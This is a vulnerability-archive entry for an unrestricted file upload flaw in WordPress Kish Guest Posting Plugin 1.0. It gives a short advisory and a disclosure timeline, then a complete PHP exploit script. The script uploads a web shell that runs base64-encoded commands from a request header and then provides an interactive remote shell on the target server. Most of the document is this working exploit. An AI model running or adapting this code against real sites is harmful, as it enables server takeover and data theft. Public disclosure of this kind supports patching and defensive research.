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Wordpress Kish Guest Posting Plugin 1.0 - Arbitrary File Upload

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
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Wordpress Kish Guest Posting Plugin 1.0 has an unrestricted file upload vulnerability due to the improper check of file extensions, allowing an attacker to upload arbitrary files containing malicious PHP code. Disclosure timeline: 19/12/2011 - Vulnerability discovered; 19/12/2011 - Vendor notified; 07/01/2012 - No response from vendor; 16/01/2012 - No response after four weeks; 23/01/2012 - Public disclosure

Code

                                                <?php

/*
    --------------------------------------------------------------------------------
    Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload
    --------------------------------------------------------------------------------
    
    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://kishpress.com/guest-posting-plugin/
     
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /uploadify/scripts/uploadify.php
    
    26.    if (!empty($_FILES)) {
    27.        $tempFile = $_FILES['Filedata']['tmp_name'];
    28.        $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
    29.        $targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
    30.        // $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);
    31.        // $fileTypes  = str_replace(';','|',$fileTypes);
    32.        // $typesArray = split('\|',$fileTypes);
    33.        // $fileParts  = pathinfo($_FILES['Filedata']['name']);
    34.        
    35.        // if (in_array($fileParts['extension'],$typesArray)) {
    36.            // Uncomment the following line if you want to make the directory if it doesn't exist
    37.            // mkdir(str_replace('//','/',$targetPath), 0755, true);
    38.            
    39.            move_uploaded_file($tempFile,$targetFile);
    40.            echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
    41.        // } else {
    42.        //     echo 'Invalid file type.';
    43.        // }
    44.    }
    
    Restricted access to  this script isn't properly realized,  so an attacker might  be able to upload
    arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.
    
    [-] Disclosure timeline:
    
    [19/12/2011] - Vulnerability discovered
    [19/12/2011] - Vendor notified through http://kish.in/contact-me/
    [07/01/2012] - No response from vendor, notified again via email
    [16/01/2012] - After four weeks still no response
    [23/01/2012] - Public disclosure
    
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+----------------------------------------------------------------------------------+";
print "\n| Wordpress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |";
print "\n+----------------------------------------------------------------------------------+\n";
 
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /wordpress/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
    
if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");

$packet  = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
    
while(1)
{
    print "\nkish-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

                              

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